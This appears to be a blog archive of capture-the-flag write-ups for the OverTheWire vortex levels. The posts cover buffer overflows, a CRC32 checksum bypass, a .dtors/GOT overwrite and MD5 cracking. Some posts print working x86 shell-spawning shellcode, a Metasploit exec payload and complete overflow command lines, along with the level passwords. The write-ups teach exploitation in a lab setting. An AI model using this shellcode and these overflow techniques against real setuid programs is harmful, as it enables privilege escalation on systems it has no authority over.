Showing posts with label vortex. Show all posts
Showing posts with label vortex. Show all posts

Wednesday, September 26, 2012

vortex7

About a year ago I stumbled upon the Over The Wire hacker challenges and started solving the first set of levels (called vortex). Since then, I have been publishing my solutions in my blog. Here is vortex level 7:

The code

int main(int argc, char **argv)
{
        char buf[58];
        u_int32_t hi;
        if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) {
                strcpy(buf, argv[1]);
        } else {
                printf("0x%08x\n", hi);
        }
}

The vulnerability exposed in this code is a basic buffer overflow with two subtleties:

  1. The CRC of the buffer must equate to a given value (0xe1ca95ee)
  2. The buffer is rather small (58 bytes)

Manipulating the checksum

The cyclic redundancy check (CRC) computes a check value (or checksum), which is used to detect accidental changes in data, e.g. when transmitting over unreliable communication channels. With this error detecting code, the slightest change (i.e. bit-flip) in the input data results in a very different output pattern. As opposed to cryptographic hash functions like SHA1 or MD5, preimage resistance is not a property of CRC, it is not designed to withstand preimage attacks: given a checksum C, it is not hard to find an input m such that CRC(m) = C. As such, one shouldn't rely on it for integrity checks over insecure channels since it is very easy to manipulate it as is shown in the solution.

To solve this level, I chose to apply the CRC-reversing algorithm described in Reversing CRC – Theory and Practice, which by the way also contains a very nice introduction to CRC. The method consists in appending a 32-bit pattern to the buffer in order to adjust the CRC-remainder to the desired checksum. The same principle is proposed in the suggested lecture, CRC and how to Reverse it. But as opposed to the first approach which uses the inverse of the divisor polynomial, the bit pattern is derived using a system of equations.

Overflowing the buffer

This level contains a classic vulnerability which can easily be exploited to execute arbitrary code: a buffer overflow. The use of the strcpy standard library function to copy a buffer of data to another completely disregards the destination's capacity. If the source buffer is larger than the destination, all bytes will be copied, even though the destination's bound has been exceeded, and in doing so, subsequent structures in memory will be destroyed.

Intercepting the instruction pointer

Depending where the destination buffer is located in the process memory, it may be possible for an attacker to take influence on the program execution flow. In this case, the destination buffer is on the stack. By overflowing the buffer, copying bytes past its bound, the stored eip value will be overwritten. This is a pointer to the next instruction to return to after leaving the current stack frame, i.e. when returning from the current function call. With a meaningful value, it is possible to redirect the execution of the program to any executable location in memory.

Creating a shellcode

The payload we want to execute consists in a small fragment of x86 machine instructions, which perform 2-3 syscalls that allow us to run a shell:

  • geteuid()/setreuid() are used to set the effective user-id. The exploited binary runs with the suid-bit, which means the process is executed in the name of the file owner (the user that has read-privileges for the next level's password file).
  • execve() is called to run /bin/bash.

The original x86/asm code can be found here. Check out the Makefile to see how it is compiled and the raw instruction data is extracted. It is then necessary to encode the data to avoid specific patterns such as \0 bytes. I used metasploit's msfencode tool for this.

Executing arbitrary code

Since the buffer is rather small (58 bytes), it is difficult to dissimulate the malicious payload. An alternative way to include arbitrary data into the process memory is to define an evironment variable containing the data. It will be accessible from the beginning of the stack. The buffer must then overflow the saved eip value to point at the corresponding region in memory. Unfortunately, this address cannot be precisely deduced. Therefore, a common strategy consists in prepending a large number of nop instructions before the shellcode. This extends the landing platform of the target address thus increasing the probability of hitting the shellcode.

The exploit

The finalized exploit is available here. It is a C wrapper which prepares a shellcode and the buffer contents and calls the binary to exploit. I employed following methods from SAR-PR-2006-05 to implement the table driven CRC32 algorithm:

  • make_crc_table()
  • crc32_tabledriven()
  • fix_crc_end()

Since at first the resulting checksum values did not match the ones generated by vortex7 I additionally extracted the CRC32 table from the binary and stored them in crc_table_static. I realized that the vortex7 implementation actually uses 0x00000000 instead of 0xFFFFFFFF for INITXOR and FINALXOR.

The fix_crc_end() function adjusts the buffer such that its checksum eventually results in the desired value 0xe1ca95ee.

make_buffer() creates the data used to overflow the buffer. It contains a repetitive sequence of the target address. It allows to shift the sequence bytewise in order to adjust its alignment. make_payload() generates the buffer which contains the nop sled and the shellcode.

Finally, the wrapper executes vortex7, passing the address buffer as a command line argument and the payload in the environment variables.

The program expects two arguments:

  1. An offset for the target address, relative to the environment pointer taken from the current process (the wrapper).
  2. An alignment index (0-4) used to align the target address in the buffer.

Following arguments worked for me:

$ ./v7_wrapper 0 2
Using address: 0xFFFFD91F
$ whoami
vortex8

The password for the next level is then retrieved from the password file for the next level:

$ cat /etc/vortex_pass/vortex8 
X70A_gcgl

That's it! If you want to learn more about buffer overflows, I suggest you read Smashing the Stack for Fun and Profit by aleph1, originally posted in Phrack Magazine. Also have a look at my blog where I regularily publish vortex level solutions: blog.ant0i.net

Monday, August 13, 2012

vortex6

The goal of vortex level 6 is to reverse engineer a binary executable to exploit it. I used objdump to decompile the code section. Check out the solution on github: https://github.com/antoinet/vortex/tree/master/vortex06

Wednesday, July 18, 2012

vortex5

Vortex level 5 consists in cracking a password hashed with MD5, which is called a preimage attack. No salt was used when applying the hash function, this makes it very easy by today's means to find the originating value.

The fastest way I found to achieve this is searching for the hash value with Google. Of course this will return lots of references to this level's solution, but you'll also get results for some websites that publish datasets of precomputed hashes, like for example md5crack or md5this.

Alternatively, you could crack the MD5 hash using some tool such as John The Ripper to perform a brute force attack. In the worst case this could result in computing all 62^5 combinations of the password (it was specified to be 5 characters long and consisting of a-zA-Z0-9). To restrict the number of tries, you can provide a wordlist of plausible passwords. Obviously, this will only generate a result if the password already existed in the list. This method works best when using real password data (e.g. from a leaked password database), since people tend to use similar patterns and also reuse their passwords.

Other tools such as RainbowCrack perform the attack using a rainbow table: a data structure used for the efficient storage of precomputed hash values. As for the websites mentioned above, you can easily get ahold of various tables, ranging from 50 to 500GB depending on the space of hashed values.

Saturday, July 14, 2012

Sunday, June 10, 2012

vortex3 (reloaded)

In the original vortex3 post, I wasn't able to reproduce the exploit since the vortex levels were recompiled with a newer version of gcc. Thanks to some hints from the vortex admins, I managed to solve the level using another approach. Here are my notes from github:

Obviously, the objective of this level is to overflow buf which will allow to overwrite lpp. In turn, buf's address will be written to wherever *lpp points to. By selecting an appropriate memory location for lpp, it will be possible to inject &buf as a function pointer into some data structure that will later execute it. I tried two approaches:
  • Overwriting an entry of the .dtors section, which contains a list of destructors, each called subsequently before program termination.
  • Overwriting an entry of the .plt/.got sections, the dynamic linking structure which resolves the position of shared library functions such as exit().

I guess the original intent to solve this level was to use the first approach, induced by the suggested reading material. In the mean time, the vortex wargames have been recompiled with a newer version of gcc and unfortunetaly, the .ctors/.dtors sections are no longer writable, as mentioned by the vortex admins. In a second notice, they suggest to brute force the 2^16 possible values and draw own conclusions. This resulted in 3 address values which led to a successful exploit: 0x0804928c, 0x080492cc and 0x08049306. Interestingly enough, these memory locations originate from a read/write memory location, where the program text is loaded. But the program text is actually executed from the 4k memory region starting at 0x08048000. Comparing the dumps of both regions 0x08048000-0x08049000 (read/execute) and 0x08049000-0x0804a000 (read/write), I realized that they almost match, the only differences several are unitialized memory addresses in the latter. From there on, I started reading about the loading process and dynamic linking in order to understand the meaning of this memory layout. I concluded that the raw program text is loaded in the higher memory region. During initialization, the loader copies its contents and completes missing references to several dynamic process structures such as the .got and the .plt starting at 0x08048000.

Following the pointers from 0x0804928c, we see that it leads to the .plt at 0x0804962c (exit@got.plt) and eventually to the exit() function from the dynamically linked libc at 0x0804830a (). Following the double indirection (**lpp), the .plt entry for exit() is therefore overwritten and program execution will jump to &buf instead of exit() when called at the end of the main function.

Monday, June 6, 2011

vortex3

Solution for OTW wargame vortex, level 3

0. Analysis

/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson 
 */


#include 
#include 
#include 

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        *lpp = tmp;

        exit(0);
}

Here's a rough layout of the process memory:

lower memory
addresses       +=================+
.text           | &__DTORS_END__  | ---+ <-+  (A)
                +=================+    |   |
                                       |   |
                +=================+    |   |
__DTORS_LIST__  | 0xFFFFFFFF      |    |   |
                +-----------------+ <--+   |
__DTORS_END__   | &buf            | ---+   |  (B)
                +=================+    |   |
                                       |   |
end of stack    +=================+    |   |
                | buf (128 bytes) | <--+   |  (C)
                |                 |        |
                |                 |        |
                +-----------------+        |
                | tmp             |        |
                +-----------------+        |
                | lpp             | -------+
higher memory   +=================+
addresses
On line 23, the program uses the vulnerable string function strcpy to copy a user provided string to local variable buf on the stack:
strcpy(buf, argv[1]);
The problem is that the function lacks boundary checks on the destination; it will keep on copying characters from the source until reaching the NULL byte, regardless of the capacity of buf (as a side note: to avoid this type of vulnerability you should use strncpy instead which allows to specify how many bytes to copy at most.) By overflowing buf, it is possible to overwrite the variables tmp and lpp with arbitrary values. These variables are located just before buf on the stack. Remember that the stack grows downward, towards the lower memory addresses. We will focus on lpp; the value used to overwrite it must be fitted somewhere after the 128 bytes that fill up buf. The first obstacle consists in bypassing the check on line 25:
if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
    exit(2);
The value of lpp must therefore lie in the range 0x08040000-0x0804FFFF. Line 29 is the key to the exploit:
**lpp = (unsigned long) &buf;
Typically, we will load a shellcode in buf. We will be able to reference it through &buf. This address will be written to the memory location referenced by **lpp. Since we also control lpp, we can actually write &buf anywhere possible in the process memory space. The hard part is the double indirection: in order to write &buf (C) to some memory location (B), we first need another memory location (A) with a reference to (B). As mentioned in the assignment's reading material, we should try to write &buf into the .dtors destructor table section. This is a special structure created by the GNU C compiler which holds a list destructors that will be called before exiting the program. If we manage to inject buf's address in this list, the corresponding memory location will be automatically executed after returning from main (win!). The structure of the .dtors table is fairly simple (see this article for more details). The first field referenced by the symbol __DTORS_LIST__ stores how many entries are kept in the list. The special value -1 (0xFFFFFFFF) denotes that the list is empty, though this seems to be ignored. All subsequent entries up to __DTOR_END__ contain the function pointers. We will append &buf exactly in this location. Use readelf to locate __DTOR_END__ in the symbol table:
$ readelf -s /vortex/vortex3 | grep -i __DTOR_END__
    58: 08049540     0 OBJECT  GLOBAL HIDDEN    18 __DTOR_END__
The tricky part now is that we cannot directly specify __DTOR_END__ as the target address because of the double indirection as mentioned above. Instead, we need a memory location that refers to __DTOR_END__, and in addition it must match 0x0804____ (because of the check on line 25). This memory location can be found by analyzing the auxiliary function __do_global_dtors_aux in the .text section which effectively calls the destructors:
$ gdb /vortex/vortex3
(gdb) disassemble __do_global_dtors_aux
Dump of assembler code for function __do_global_dtors_aux:
   0x08048350 <+0>: push   %ebp
   0x08048351 <+1>: mov    %esp,%ebp
   0x08048353 <+3>: push   %ebx
   0x08048354 <+4>: sub    $0x4,%esp
   0x08048357 <+7>: cmpb   $0x0,0x8049640
   0x0804835e <+14>: jne    0x804839f <__do_global_dtors_aux+79>
   0x08048360 <+16>: mov    0x8049644,%eax
   0x08048365 <+21>: mov    $0x8049540,%ebx
   0x0804836a <+26>: sub    $0x804953c,%ebx
   0x08048370 <+32>: sar    $0x2,%ebx
   0x08048373 <+35>: sub    $0x1,%ebx
   0x08048376 <+38>: cmp    %ebx,%eax
   0x08048378 <+40>: jae    0x8048398 <__do_global_dtors_aux+72>
   0x0804837a <+42>: lea    0x0(%esi),%esi
   0x08048380 <+48>: add    $0x1,%eax
   0x08048383 <+51>: mov    %eax,0x8049644
   0x08048388 <+56>: call   *0x804953c(,%eax,4)
   0x0804838f <+63>: mov    0x8049644,%eax
   0x08048394 <+68>: cmp    %ebx,%eax
   0x08048396 <+70>: jb     0x8048380 <__do_global_dtors_aux+48>
   0x08048398 <+72>: movb   $0x1,0x8049640
   0x0804839f <+79>: add    $0x4,%esp
   0x080483a2 <+82>: pop    %ebx
   0x080483a3 <+83>: pop    %ebp
   0x080483a4 <+84>: ret    
   0x080483a5 <+85>: lea    0x0(%esi,%eiz,1),%esi
   0x080483a9 <+89>: lea    0x0(%edi,%eiz,1),%edi
End of assembler dump.
The instruction at <__do_global_dtors_aux+21> (memory address 0x08048365) actually contains the required reference as its argument. If we skip the mov opcode (1 byte) we get 0x08048366:
(gdb) x/x 0x08048366
0x8048366 <__do_global_dtors_aux+22>: 0x08049540
Another way of finding the address reference is to grep the required address in the program dump:
$ objdump -s  /vortex/vortex3 | egrep 40[[:space:]]*95[[:space:]]*04[[:space:]]*08
 8048360 a1449604 08bb4095 040881eb 3c950408  .D....@.....<...
1. The exploit It's now time to prepare the shellcode. I first used an execsh-payload generated with metasploit:
msf > use linux/x86/exec
msf payload(exec) > set CMD /bin/sh
CMD => /bin/sh
msf payload(exec) > set ENCODER x86/call4_dword_xor
ENCODER => x86/call4_dword_xor
msf payload(exec) > generate -s 60 -t perl
# linux/x86/exec - 128 bytes
# http://www.metasploit.com
# Encoder: x86/call4_dword_xor
# NOP gen: x86/opty2
# AppendExit=false, PrependChrootBreak=false, CMD=/bin/sh, 
# PrependSetresuid=false, PrependSetuid=false, 
# PrependSetreuid=false
my $buf = 
"\xfc\x91\xba\xa9\x72\x2a\xf5\x86\xf9\x93\xb3\x9b\xd4\x34" .
"\x7d\x1c\xe0\x24\x9f\x1d\x2c\x43\x85\xd5\x49\x80\xf8\x48" .
"\x35\x4a\x99\xb8\x04\x4b\x0d\x92\x90\x2f\x8d\xb6\x37\x3d" .
"\x98\xb4\x4e\x0c\x27\x25\xb2\x05\x67\x4f\x97\xb9\xbe\xb7" .
"\x40\xb0\x1b\xfd\x2b\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff" .
"\xc0\x5e\x81\x76\x0e\xa1\xd8\x44\x7f\x83\xee\xfc\xe2\xf4" .
"\xcb\xd3\x1c\xe6\xf3\xbe\x2c\x52\xc2\x51\xa3\x17\x8e\xab" .
"\x2c\x7f\xc9\xf7\x26\x16\xcf\x51\xa7\x2d\x49\xd0\x44\x7f" .
"\xa1\xf7\x26\x16\xcf\xf7\x37\x17\xa1\x8f\x17\xf6\x40\x15" .
"\xc4\x7f";
 
It is padded with nops to attain the 128 bytes used to fill up buf. The target address 0x8048366 (converted in little endian) is then appended.
$ /vortex/vortex3 \
"`perl -e 'print "\x98\x3c\x7e\x0c\x05\x46\x49\x15\x6b\xd0\xd4\x66\x9b\xb8" .
 "\x93\x7b\x24\xb0\x42\xfd\x92\x27\x69\xd5\x37\x67\x9f\xb6" .
 "\x76\x04\xb1\xb9\x3f\xa8\x90\x23\xf5\xbb\xb4\x4e\x3d\xb3" .
 "\x97\x2d\x91\x99\x25\xfc\x41\x4b\xbe\x1c\xf8\x4f\xba\xb7" .
 "\x47\x4a\x96\x2f\x29\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff" .
 "\xc0\x5e\x81\x76\x0e\x59\xac\x6e\x65\x83\xee\xfc\xe2\xf4" .
 "\x33\xa7\x36\xfc\x0b\xca\x06\x48\x3a\x25\x89\x0d\x76\xdf" .
 "\x06\x65\x31\x83\x0c\x0c\x37\x25\x8d\x37\xb1\xa5\x6e\x65" .
 "\x59\x83\x0c\x0c\x37\x83\x1d\x0d\x59\xac\x39\x36\xd0\x4d" .
 "\xa3\xe5" . "\x66\x83\x04\x08"x4'`"
Segmentation fault
Unfortunately, the process terminates with a segmentation fault. There is a mention in the assignment notes: "ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro." Writing in .dtors isn't the reason for the segfault, though. The segfault occurs a bit later because we're trying to write in the .text section, where *lpp points to (see line 30 in the C source code). The rest of this article describes a successful attempt achieved before vortex moved and recompiled the levels. It uses a homebrew shellcode taken from this blog article. Fortunately, the password is still the same. 2. Exploit (revisited)
.text
.globl main
main:
        jmp foo
bar:
        # recover string addr
        popl %esi

        # uid_t geteuid(void)
        xor %eax, %eax
        movb $49, %al
        int $0x80

        # int setreuid(uid_t ruid, uid_t euid)
        movl %eax, %ebx
        movl %eax, %ecx
        xor %eax, %eax
        movb $70, %al
        int $0x80

        # int execve(const char *filename, char *const argv[],
        #          char *const envp[])
        xor %eax, %eax
        movb %al, 7(%esi)
        movl %esi, %ebx
        movl %esi, 8(%esi)
        leal 8(%esi), %ecx
        movl %eax, 12(%esi)
        xor %edx, %edx
        movb $11, %al
        int $0x80

foo:
        call bar
baz:
        # pos:  0123456789abcdef
        .ascii "/bin/sh#########"
Assemble it (note: no need to link it, since no absolute addresses are used):
$ as -o foo.o foo.s
This is done to extract the shellcode, take all data inside the .text section (0x3e bytes from offset 0x34)
$ objdump -h foo.o

main.o:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .text         0000003e  00000000  00000000  00000034  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
  1 .data         00000000  00000000  00000000  00000074  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  2 .bss          00000000  00000000  00000000  00000074  2**2
                  ALLOC

$ dd if=main.o bs=1 count=62 skip=52 | \
ruby -e 'puts ARGF.read.unpack("C*").map {|x| sprintf("\\x%02x", x)}.join'
62+0 records in
62+0 records out
62 bytes (62 B) copied, 0.000157837 s, 393 kB/s
\xeb\x27\x5e\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31
\xc0\x88\x46\x07\x89\xf3\x89\x76\x08\x8d\x4e\x08\x89\x46\x0c\x31\xd2\xb0\x0b\xcd
\x80\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x23\x23\x23\x23\x23\x23
\x23\x23
Here is the result:
$ /vortex/vortex3 "`perl -e 'print "\xeb\x27\x5e\x31\xc0\xb0\x31\xcd",
> "\x80\x89\xc3\x89\xc1\x31\xc0\xb0",
> "\x46\xcd\x80\x31\xc0\x88\x46\x07",
> "\x89\xf3\x89\x76\x08\x8d\x4e\x08",
> "\x89\x46\x0c\x31\xd2\xb0\x0b\xcd",
> "\x80\xe8\xd4\xff\xff\xff\x2f\x62",
> "\x69\x6e\x2f\x73\x68\x23\x23\x23",
> "\x23\x23\x23\x23\x23\x23","\x90"x66,"\x98\x94\x04\x08"x4'`"
sh-3.2$ whoami
vortex4
sh-3.2$ cat /etc/vortex_pass/vortex4
2YmgK1=jw

Saturday, June 4, 2011

vortex2

Solution for OTW wargame vortex, level 2
#include 
#include 
#include 


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
        execv(args[0], args);
}

$ /vortex/vortex2 /etc/vortex_pass/vortex3
$ tar xfO /tmp/ownership.\$\$.tar
64ncXTvx#

Notes:
Both the password-file and the vortex2-binary belong to user vortex3. The binary also has the SUID-bit set for execution, this means the process will be run as user vortex3, which is the only user which has read/write permissions on the password file.
$ ls -al /etc/vortex_pass/vortex3
-r-------- 1 vortex3 vortex3 10 2011-11-14 18:15 /etc/vortex_pass/vortex3
$ ls -la /vortex/vortex2
-r-sr-x--- 1 vortex3 vortex2 7134 2011-11-13 23:07 /vortex/vortex2

The call to the vortex2-binary creates a tar-archive in /tmp. I first thought $$ would be evaluated to the PID of the running shell, in order to create one file per bash-user, but actually the file name is treated literally.

One can specify up to 3 additional arguments to tar, one is enough to specify which file to include in the archive.

vortex1

Solution for OTW wargame vortex, level 1

#include 
#include 
#include 
#include 


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}


$ ( perl -e 'print "\\" x 257 . "\xCA!"'; echo \
"cat /etc/vortex_pass/vortex2" ) | /vortex/vortex1
sh-3.2$ 23anbT\rE
sh-3.2$ exit 
  

Notes:
A 512 byte buffer is allocated on the stack. The pointer  ptr initially points right in the middle of the buffer.  Following commands can be input:
  • \ (backslash): decrease ptr by one
  • \n (newline): print buffer content
  • EOF: end execution
  • Any other character:
    • if ptr's value is 0xCA______, execute a shell.
    • while ptr isn't beyond the end of buffer, write the character and increase ptr.

ptr is declared after buf, therefore it is allocated over buf on the stack frame (at a lower memory address). Since there is no lower memory bound check, it is possible to overwrite ptr's value. The idea is to decrease ptr until it points onto itself and then write the value 0xCA.

Here is the memory layout:
lower memory  +-----------------+
addresses     | ptr (4 bytes)   |-----+
              +-----------------+     |
              | buf (512 bytes) |     | ptr points
              |                 |     | somewhere in
              |                 |     | buf
higher memory |                 |     |
addresses     |                 |<----+

Thursday, June 2, 2011

vortex0

This is my solution of the OTW wargame vortex, level 0:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>

#define HOST "vortex.labs.overthewire.org"
#define PORT "5842"

#define BUF_SIZ 100

void *get_in_addr(struct sockaddr *sa) {
 if (sa->sa_family == AF_INET) {
  return &(((struct sockaddr_in*)sa)->sin_addr);
 }
 return &(((struct sockaddr_in6*)sa)->sin6_addr);
}

int main (int argc, const char * argv[]) {

 struct addrinfo hints, *res, *p;
 int numbytes, totalbytes, status, i;
 uint32_t sum, *in;
 char ipstr[INET6_ADDRSTRLEN];
 char buf[BUF_SIZ];
 int sockfd = 0;
 
 memset(&hints, 0, sizeof(hints));
 hints.ai_family = AF_INET;
 hints.ai_socktype = SOCK_STREAM;
 
 if ((status = getaddrinfo(HOST, PORT, &hints, &res)) != 0) {
  fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(status));
  return 1;
 }
 
 for (p = res; p != NULL; p = p->ai_next) {
  if ((sockfd = socket(PF_INET, SOCK_STREAM, p->ai_protocol)) == -1) {
   perror("client: socket");
   continue;
  }
  
  if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
   close(sockfd);
   perror("client: connect");
   continue;
  }
  
  break;
 }
 
 if (p == NULL) {
  fprintf(stderr, "client: failed to connect.\n");
  return 1;
 }
 
 inet_ntop(p->ai_family, get_in_addr((struct sockaddr *) p->ai_addr), ipstr, sizeof(ipstr));
 printf("Connecting to %s (%s)\n", HOST, ipstr);

 freeaddrinfo(res);

 // get 4 ints
 totalbytes = 0;
 while (totalbytes < 16) {
  if ((numbytes = recv(sockfd, buf + totalbytes, BUF_SIZ - totalbytes - 1, 0)) == -1) {
   perror("recv");
   return 1;
  }
  totalbytes += numbytes;
 }
 printf("Received %d bytes.\n", totalbytes);
 
 // compute sum
 sum = 0;
 in = (uint32_t*) buf;
 for (i = 0; i < totalbytes / 4; i++) {
  printf("network: 0x%x (%u)\thost: 0x%x (%u)\n", in[i], in[i], ntohl(in[i]), ntohl(in[i]));
  //sum += ntohl(in[i]);
  sum += in[i];
 }
 printf("Sum: 0x%x (%u).\n", sum, sum);
 

 // return the result
// sum = htonl(sum);
 if (send(sockfd, &sum, sizeof(uint32_t), 0) == -1) {
  perror("send");
  return 1;
 }
 
 // get response from server
 if ((numbytes = recv(sockfd, buf, BUF_SIZ-1, 0)) == -1) {
  perror("recv");
  return 1;
 }
 buf[numbytes] = '\0';
 printf("Response: %s\n", buf);
 
 close(sockfd);
    return 0;
}

Here the result (spoiler):
$ ./vortex1 
 Connecting to vortex.labs.overthewire.org (69.55.233.89)
 Received 16 bytes.
 network: 0x4365c6e5 (1130743525) host: 0xe5c66543 (3854984515)
 network: 0x26e1369a (652293786) host: 0x9a36e126 (2587287846)
 network: 0x37ff6044 (939483204) host: 0x4460ff37 (1147207479)
 network: 0x2c6cdca4 (745331876) host: 0xa4dc6c2c (2765909036)
 Sum: 0xceb33a67 (3467852391).
 Response: Username: vortex1 Password: Gq#qu3bF3